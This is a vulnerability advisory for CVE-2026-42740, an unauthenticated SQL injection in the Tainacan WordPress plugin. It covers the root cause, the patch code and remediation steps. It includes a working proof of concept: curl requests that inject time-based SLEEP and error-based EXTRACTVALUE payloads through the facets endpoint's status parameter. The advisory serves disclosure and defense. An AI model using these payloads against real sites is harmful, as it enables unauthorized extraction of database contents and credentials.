CVE-2026-42740: Tainacan Unauthenticated SQL Injection (CVSS 7.5)
Table of Contents
CVE-2026-42740 is a CVSS 7.5 (High) unauthenticated SQL injection vulnerability in the Tainacan WordPress plugin. An attacker with no account can send a crafted HTTP request to a public REST API endpoint and extract sensitive data from the database — including user credentials, post content, and metadata.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Tainacan |
| Plugin Slug | tainacan |
| CVE ID | CVE-2026-42740 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated SQL Injection |
| Affected Versions | <= 1.0.3 |
| Patched Version | 1.1.0 |
| Published | May 28, 2026 |
| Researcher | hhhai |
| Wordfence Advisory | Link |
Description
The Tainacan plugin is a digital repository management tool built for WordPress. It provides REST API endpoints to query items, facets, and metadata. These endpoints are publicly accessible for any collection with public visibility.
In versions up to and including 1.0.3, the status parameter accepted by the Items and Facets REST API endpoints is not sanitized before use. The plugin maps this parameter directly to post_status in a WP_Query call. The resulting SQL query string is then embedded as a raw subquery in a second SQL statement — without additional escaping. An unauthenticated attacker can exploit this to append extra SQL and read arbitrary data from the database.
Technical Analysis
Vulnerable Endpoint and Authentication
Two REST API endpoints are affected:
GET /wp-json/tainacan/v2/collection/{collection_id}/itemsGET /wp-json/tainacan/v2/collection/{collection_id}/facets/{metadatum_id}
The facets endpoint uses this permission check (class-tainacan-rest-facets-controller.php, line 219):
public function get_items_permissions_check( $request ) {
$metadatum_id = $request['metadatum_id'];
$metadatum = $this->metadatum_repository->fetch($metadatum_id);
if ($metadatum instanceof Entities\Metadatum) {
return $metadatum->can_read();
}
return false;
}
The can_read() method in class-tainacan-repository.php (line 760) returns true for unauthenticated users when the associated post has a public status:
public function can_read( Entities\Entity $entity, $user = null ) {
if ( is_null( $user ) ) {
$user = get_current_user_id();
if ( ! $user ) {
$status = get_post_status($entity->get_id());
$post_status_obj = get_post_status_object($status);
return $post_status_obj->public; // true for public metadatums
}
}
...
}
Any visitor can access these endpoints for a site that has at least one public Tainacan collection.
Root Cause: Missing sanitize_callback on the status Parameter
The status parameter is defined in REST_Controller::get_wp_query_params() (class-tainacan-rest-controller.php, line 379) without a sanitize_callback:
$query_params['status'] = array(
'description' => __("Limit result set to objects assigned one or more statuses.", 'tainacan'),
'type' => 'array',
'items' => array(
'enum' => array_merge(array_keys(get_post_stati()), array('any')),
'type' => 'string',
),
// No sanitize_callback — arbitrary values pass through
);
Other parameters like search are properly protected:
$query_params['search'] = array(
'description' => __( 'Limit results to those matching a string.', 'tainacan' ),
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field', // protected
);
Without a sanitize_callback, the WordPress REST API does not enforce the items.enum constraint when status is sent as a raw string instead of an array. The arbitrary value bypasses validation entirely.
SQL Injection Path
In prepare_filters() (class-tainacan-rest-controller.php, line 165), the request value is mapped to the query argument with no sanitization:
$args[ $mapped_v ] = $request[ $mapped ];
// 'status' → 'post_status', no escaping applied
The unsanitized post_status value flows into fetch_all_metadatum_values() (class-tainacan-metadata.php). There, the plugin runs a WP_Query and captures its raw SQL string:
// class-tainacan-metadata.php, lines 1255-1259
add_filter('posts_pre_query', '__return_empty_array');
$items_query = $itemsRepo->fetch($args['items_filter'], $args['collection_id']);
$items_query = $items_query->request; // raw SQL string from WP_Query
remove_filter('posts_pre_query', '__return_empty_array');
This raw SQL string is then embedded directly as a subquery in a second $wpdb->prepare() call (lines 1295–1311):
$base_query = $wpdb->prepare(
"FROM $wpdb->term_relationships tr
INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
INNER JOIN $wpdb->terms t ON tt.term_id = t.term_id
INNER JOIN ($items_query) as posts ON tr.object_id = posts.ID
WHERE
tt.parent = %d AND
tt.taxonomy = %s
$search_q
ORDER BY t.name ASC",
$args['parent_id'],
$taxonomy_slug
);
$wpdb->prepare() only processes %d and %s tokens. Because $items_query is interpolated as a literal string, any user-controlled content inside it is injected directly into the final SQL statement without escaping.
Proof of Concept
Disclaimer: This proof of concept is provided for educational and defensive purposes only. Do not use it against systems you do not own or have explicit permission to test.
Prerequisites: Tainacan version ≤ 1.0.3 installed and activated, with at least one public collection containing items.
Step 1 — Identify a public collection and metadatum
TARGET="https://target.example.com"
# List public collections
curl -s "$TARGET/wp-json/tainacan/v2/collections" | jq '[.[] | {id: .id, name: .name}]'
# List metadata for collection 1
curl -s "$TARGET/wp-json/tainacan/v2/collection/1/metadata" | jq '[.[] | {id: .id, name: .name}]'
Note the collection ID (e.g. 1) and a metadatum ID (e.g. 5).
Step 2 — Confirm the facets endpoint is publicly accessible
curl -s "$TARGET/wp-json/tainacan/v2/collection/1/facets/5" | jq '.values | length'
# A non-zero result or empty array confirms the endpoint is reachable without authentication
Step 3 — Trigger time-based blind SQL injection
Send a crafted status value via the facets endpoint’s current_query parameter:
# Inject a SLEEP payload; a response delay ≥ 5 seconds confirms SQL injection
curl -s -o /dev/null -w "%{time_total}" \
"$TARGET/wp-json/tainacan/v2/collection/1/facets/5?current_query[status]=publish+AND+SLEEP(5)--+-"
Expected result: The HTTP response takes ≥ 5 seconds, confirming that user-controlled SQL is executed by the database server.
Step 4 — Extract sensitive data (error-based example)
# Extract the database version
curl -s "$TARGET/wp-json/tainacan/v2/collection/1/facets/5" \
--get \
--data-urlencode "current_query[status]=publish AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -"
Expected result: The database error message includes the MySQL version string in the response.
Verification
A successful exploit returns delayed HTTP responses (time-based) or database error messages containing extracted data (error-based). Both confirm that unauthenticated SQL injection is possible.
Patch Analysis
Version 1.1.0 fixes the vulnerability by adding a sanitize_callback to the status parameter definition in class-tainacan-rest-controller.php:
$query_params['status'] = array(
'description' => __("Limit result set to objects assigned one or more statuses.", 'tainacan'),
'type' => 'array',
'items' => array(
'enum' => array_merge(array_keys(get_post_stati()), array('any')),
'type' => 'string',
),
+ 'sanitize_callback' => array( $this, 'tainacan_sanitize_post_statuses' ),
);
The new method tainacan_sanitize_post_statuses() (also added in 1.1.0) validates every submitted status against WordPress’s registered post statuses:
public function tainacan_sanitize_post_statuses( $statuses, $request, $parameter ) {
$statuses = wp_parse_slug_list( $statuses );
$allowStatuses = array_values(get_post_stati([]));
foreach ( $statuses as $status ) {
if ( $status === 'any' ) {
$allstatuses = get_post_stati(['internal' => false]);
return array_values($allstatuses);
} else {
if(!in_array($status, $allowStatuses)) {
return new \WP_Error(
'rest_forbidden_status',
__( 'Status is forbidden.', 'tainacan' ),
array( 'status' => rest_authorization_required_code() )
);
}
}
}
return $statuses;
}
Any value not in get_post_stati() now returns a 401 error immediately. The injection payload never reaches WP_Query or the SQL subquery.
The fix addresses the root cause — it blocks the malicious value at the REST API layer, before any query is built. This is the correct approach: validate and reject invalid input early, rather than trying to sanitize it deeper in the stack.
Timeline
| Date | Event |
|---|---|
| May 28, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 1, 2026 | Advisory last updated |
| June 7, 2026 | Blog post published |
Remediation
Update the Tainacan plugin to version 1.1.0 or later immediately.
- Go to WordPress Admin → Plugins → Installed Plugins
- Find Tainacan and click Update Now
- Or download the latest version from wordpress.org/plugins/tainacan
If you cannot update right now, consider disabling the REST API for unauthenticated users as a temporary measure. However, this will break public-facing Tainacan functionality, so updating is strongly preferred.